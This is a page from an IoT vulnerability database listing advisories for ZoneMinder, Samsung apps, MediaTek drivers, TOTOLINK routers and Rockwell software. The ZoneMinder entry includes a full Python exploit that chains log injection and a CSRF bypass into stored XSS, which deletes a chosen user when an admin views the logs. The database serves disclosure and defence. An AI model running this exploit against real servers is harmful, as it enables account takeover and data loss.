VARIoT IoT vulnerabilities database

ZoneMinder is a free, open source Closed-circuit television software application The file parameter is vulnerable to a cross site scripting vulnerability (XSS) by backing out of the current "tr" "td" brackets. This then allows a malicious user to provide code that will execute when a user views the specific log on the "view=log" page. This vulnerability allows an attacker to store code within the logs that will be executed when loaded by a legitimate user. These actions will be performed with the permission of the victim. This could lead to data loss and/or further exploitation including account takeover. This issue has been addressed in versions `1.36.27` and `1.37.24`. Users are advised to upgrade. Users unable to upgrade should disable database logging. ZoneMinder Exists in a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. # Exploit Title: Zoneminder v1.36.26 - Log Injection -> CSRF Bypass -> Stored Cross-Site Scripting (XSS) # Date: 10/01/2022 # Exploit Author: Trenches of IT # Vendor Homepage: https://github.com/ZoneMinder/zoneminder # Version: v1.36.26 # Tested on: Linux/Windows # CVE: CVE-2022-39285, CVE-2022-39290, CVE-2022-39291 # Writeup: https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/ # # Proof of Concept: # 1 - The PoC injects a XSS payload with the CSRF bypass into logs. (This action will repeat every second until manually stopped) # 2 - Admin user logs navigates to http://<target>/zm/index.php?view=log # 3 - XSS executes delete function on target UID (user). import requests import re import time import argparse import sys def getOptions(args=sys.argv[1:]): parser = argparse.ArgumentParser(description="Trenches of IT Zoneminder Exploit PoC", epilog="Example: poc.py -i 1.2.3.4 -p 80 -u lowpriv -p lowpriv -d 1") parser.add_argument("-i", "--ip", help="Provide the IP or hostname of the target zoneminder server. (Example: -i 1.2.3.4", required=True) parser.add_argument("-p", "--port", help="Provide the port of the target zoneminder server. (Example: -p 80", required=True) parser.add_argument("-zU", "--username", help="Provide the low privileged username for the target zoneminder server. (Example: -zU lowpriv", required=True) parser.add_argument("-zP", "--password", help="Provide the low privileged password for the target zoneminder server. (Example: -zP lowpriv", required=True) parser.add_argument("-d", "--deleteUser", help="Provide the target user UID to delete from the target zoneminder server. (Example: -d 7", required=True) options = parser.parse_args(args) return options options = getOptions(sys.argv[1:]) payload = "http%3A%2F%2F" + options.ip + "%2Fzm%2F</td></tr><script src='/zm/index.php?view=options&tab=users&action=delete&markUids[]=" + options.deleteUser + "&deleteBtn=Delete'</script>" #Request to login and get the response headers loginUrl = "http://" + options.ip + ":" + options.port + "/zm/index.php?action=login&view=login&username="+options.username+"&password="+options.password loginCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": "f1neru6bq6bfddl7snpjqo6ss2"} loginHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=login", "Upgrade-Insecure-Requests": "1"} response = requests.post(loginUrl, headers=loginHeaders, cookies=loginCookies) zmHeaders = response.headers try: zoneminderSession = re.findall(r'ZMSESSID\=\w+\;', str(zmHeaders)) finalSession = zoneminderSession[-1].replace('ZMSESSID=', '').strip(';') except: print("[ERROR] Ensure the provided username and password is correct.") sys.exit(1) print("Collected the low privilege user session token: "+finalSession) #Request using response headers to obtain CSRF value csrfUrl = "http://"+options.ip+":"+options.port+"/zm/index.php?view=filter" csrfCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": '"' + finalSession + '"'} csrfHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=montagereview&fit=1&minTime=2022-09-30T20:52:58&maxTime=2022-09-30T21:22:58&current=2022-09-30%2021:07:58&displayinterval=1000&live=0&scale=1&speed=1", "Upgrade-Insecure-Requests": "1"} response = requests.get(csrfUrl, headers=csrfHeaders, cookies=csrfCookies) zmBody = response.text extractedCsrfKey = re.findall(r'csrfMagicToken\s\=\s\"key\:\w+\,\d+', str(zmBody)) finalCsrfKey = extractedCsrfKey[0].replace('csrfMagicToken = "', '') print("Collected the CSRF key for the log injection request: "+finalCsrfKey) print("Navigate here with an admin user: http://"+options.ip+"/zm/index.php?view=log") while True: #XSS Request xssUrl = "http://"+options.ip+"/zm/index.php" xssCookies = {"zmSkin": "classic", "zmCSS": "base", "zmLogsTable.bs.table.pageNumber": "1", "zmEventsTable.bs.table.columns": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "zmEventsTable.bs.table.searchText": "", "zmEventsTable.bs.table.pageNumber": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": finalSession} xssHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=filter"} xssData = {"__csrf_magic": finalCsrfKey , "view": "request", "request": "log", "task": "create", "level": "ERR", "message": "Trenches%20of%20IT%20PoC", "browser[name]": "Firefox", "browser[version]": "91.0", "browser[platform]": "UNIX", "file": payload, "line": "105"} response = requests.post(xssUrl, headers=xssHeaders, cookies=xssCookies, data=xssData) print("Injecting payload: " + response.text) time.sleep(1)

Improper access control vulnerability in CameraTestActivity in FactoryCameraFB prior to version 3.5.51 allows attackers to access broadcasting Intent as system uid privilege. Samsung's FactoryCameraFB Exists in unspecified vulnerabilities.Information may be obtained

Improper access control vulnerability in RegisteredEventMediator.kt SmartThings prior to version 1.7.89.0 allows attackers to access sensitive information via implicit broadcast. Samsung's Android for SmartThings Exists in unspecified vulnerabilities.Information may be obtained

Improper access control vulnerability in ProfileSharingAccount in Group Sharing prior to versions 13.0.6.15 in Android S(12), 13.0.6.14 in Android R(11) and below allows attackers to identify the device. Samsung's Group Sharing Exists in unspecified vulnerabilities.Information may be obtained. SAMSUNG Mobile devices is a series of Samsung mobile devices of South Korea's Samsung (SAMSUNG), including mobile phones, tablets, etc. An attacker could exploit this vulnerability to identify the device

Improper access control vulnerability in WifiSetupLaunchHelper in SmartThings prior to version 1.7.89.25 allows attackers to access sensitive information via implicit intent. Samsung's Android for SmartThings Exists in unspecified vulnerabilities.Information may be obtained

Improper access control vulnerability in cloudNotificationManager.java SmartThings prior to version 1.7.89.0 allows attackers to access sensitive information via SHOW_PERSISTENT_BANNER broadcast. Samsung's Android for SmartThings Exists in unspecified vulnerabilities.Information may be obtained

Unprotected Receiver in AtBroadcastReceiver in FactoryCamera prior to version 3.5.51 allows attackers to record video without camera privilege. Samsung's factorycamera Exists in a vulnerability related to the lack of authentication.Information may be tampered with

In Wi-Fi driver, there is a possible way to disconnect Wi-Fi due to an improper resource release. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07030600; Issue ID: ALPS07030600. Linux Foundation of yocto Products from several other vendors contain vulnerabilities related to improper shutdown and release of resources.Service operation interruption (DoS) It may be in a state. MediaTek Inc. is the world's fourth-largest foundry semiconductor company. It is in a leading position in the markets of mobile terminals, smart home applications, wireless connection technology and Internet of Things products, with approximately 1.5 billion units a year End products with built-in MediaTek chips are available all over the world

Improper access control vulnerability in GedSamsungAccount.kt SmartThings prior to version 1.7.89.0 allows attackers to access sensitive information via implicit broadcast. Samsung's Android for SmartThings Exists in unspecified vulnerabilities.Information may be obtained

In sensorhub, there is a possible out of bounds write due to an incorrect calculation of buffer size. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07129717; Issue ID: ALPS07129717. Google of Android contains a buffer size miscalculation vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. MediaTek Inc. is the world's fourth-largest foundry semiconductor company. It is in a leading position in the markets of mobile terminals, smart home applications, wireless connection technology and Internet of Things products, with approximately 1.5 billion units a year End products with built-in MediaTek chips are available all over the world

TOTOLINK NR1800X V9.1.0u.6279_B20210910 was discovered to contain an authenticated stack overflow via the File parameter in the UploadCustomModule function. TOTOLINK of nr1800x An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. TOTOLINK NR1800X is an excellent 5G NR indoor Wi-Fi and SIP CPE from TOTOLINK in China. Designed to provide fast and easy deployment of NR fixed data services for homes and offices. There is a buffer overflow vulnerability in TOTOLINK NR1800X V9.1.0u.6279_B20210910. Attackers can exploit the vulnerability to cause code execution

TOTOLINK NR1800X V9.1.0u.6279_B20210910 was discovered to contain a command injection vulnerability via the OpModeCfg function at /cgi-bin/cstecgi.cgi. TOTOLINK of nr1800x The firmware has OS A command injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. The TOTOLINK NR1800X is a 5G NR indoor Wi-Fi and SIP CPE (broadband access equipment) launched by China's TOTOLINK Electronics. It is primarily designed for deploying NR fixed data services in homes and offices and supports 5G NR network connections. This vulnerability could allow an attacker to execute arbitrary commands

Rockwell Automation FactoryTalk VantagePoint versions 8.0, 8.10, 8.20, 8.30, 8.31 are vulnerable to an improper access control vulnerability. The FactoryTalk VantagePoint SQL Server account could allow a malicious user with read-only privileges to execute SQL statements in the back-end database. If successfully exploited, this could allow the attacker to execute arbitrary code and gain access to restricted data

TOTOLINK NR1800X V9.1.0u.6279_B20210910 was discovered to contain an authenticated stack overflow via the ip parameter in the setDiagnosisCfg function. TOTOLINK of nr1800x An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. The TOTOLINK NR1800X is a 5G NR indoor Wi-Fi and SIP CPE (broadband access equipment) launched by China's TOTOLINK Electronics. It is primarily designed for deploying NR fixed data services in homes and offices and supports 5G NR network connections. An attacker can exploit this vulnerability by submitting specially crafted requests that could cause the application to crash or execute arbitrary code in the application's context

TOTOLINK NR1800X V9.1.0u.6279_B20210910 was discovered to contain a command injection vulnerability via the UploadFirmwareFile function at /cgi-bin/cstecgi.cgi. TOTOLINK of nr1800x The firmware has OS A command injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. TOTOLINK NR1800X is an excellent 5G NR indoor Wi-Fi and SIP CPE from TOTOLINK in China. Designed to provide fast and easy deployment of NR fixed data services for homes and offices. The vulnerability comes from the fact that the FileName parameter in the UploadFirmwareFile function in the /cgi-bin/cstecgi.cgi file fails to properly filter special characters, commands, etc. for constructing commands. An attacker could exploit the vulnerability to cause arbitrary command execution

Rockwell Automation FactoryTalk VantagePoint versions 8.0, 8.10, 8.20, 8.30, 8.31 are vulnerable to an input validation vulnerability. The FactoryTalk VantagePoint SQL Server lacks input validation when users enter SQL statements to retrieve information from the back-end database. If successfully exploited, this could allow a user with basic user privileges to perform remote code execution on the server. Rockwell Automation of factorytalk vantagepoint for, SQL There is an injection vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

HIWIN Robot System Software version 3.3.21.9869 does not properly address the terminated command source. As a result, an attacker could craft code to disconnect HRSS and the controller and cause a denial-of-service condition. HIWIN Provided by the company HIWIN Robot System Software (HRSS) The following vulnerabilities exist in. It was * Inappropriate access control (CWE-284) - CVE-2022-3382If the vulnerability is exploited, it may be affected as follows. It was * A denial of service ( DoS ) state is triggered

TOTOLINK NR1800X V9.1.0u.6279_B20210910 was discovered to contain a stack overflow in the lang parameter in the setLanguageCfg function. TOTOLINK of nr1800x An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. TOTOLINK NR1800X is an excellent 5G NR indoor Wi-Fi and SIP CPE from TOTOLINK in China. Designed to provide fast and easy deployment of NR fixed data services for homes and offices. There is a buffer overflow vulnerability in TOTOLINK NR1800X V9.1.0u.6279_B20210910 version. The vulnerability originates from the fact that the lang parameter of the setLanguageCfg method lacks length verification for the input data. Attackers can exploit the vulnerability to cause code execution

TOTOLINK NR1800X V9.1.0u.6279_B20210910 was discovered to contain an authenticated stack overflow via the pppoeUser parameter in the setOpModeCfg function. TOTOLINK of nr1800x An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. TOTOLINK NR1800X is an excellent 5G NR indoor Wi-Fi and SIP CPE from TOTOLINK in China. Designed to provide fast and easy deployment of NR fixed data services for homes and offices. There is a buffer overflow vulnerability in TOTOLINK NR1800X V9.1.0u.6279_B20210910. The vulnerability comes from the fact that the setOpModeCfg function in the file /cgi-bin/cstecgi.cgi does not verify the size of the pppoeUser parameter. Attackers can use the vulnerability to trigger stack overflow. Remote code execution

TOTOLINK NR1800X V9.1.0u.6279_B20210910 was discovered to contain an authenticated stack overflow via the text parameter in the setSmsCfg function. TOTOLINK of nr1800x An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. The TOTOLINK NR1800X is a 5G NR indoor Wi-Fi and SIP CPE (broadband access equipment) launched by China's TOTOLINK Electronics. It is primarily designed for deploying NR fixed data services in homes and offices and supports 5G NR network connectivity. An attacker could exploit this vulnerability by submitting a specially crafted request that could cause the application to crash or execute arbitrary code in the application's context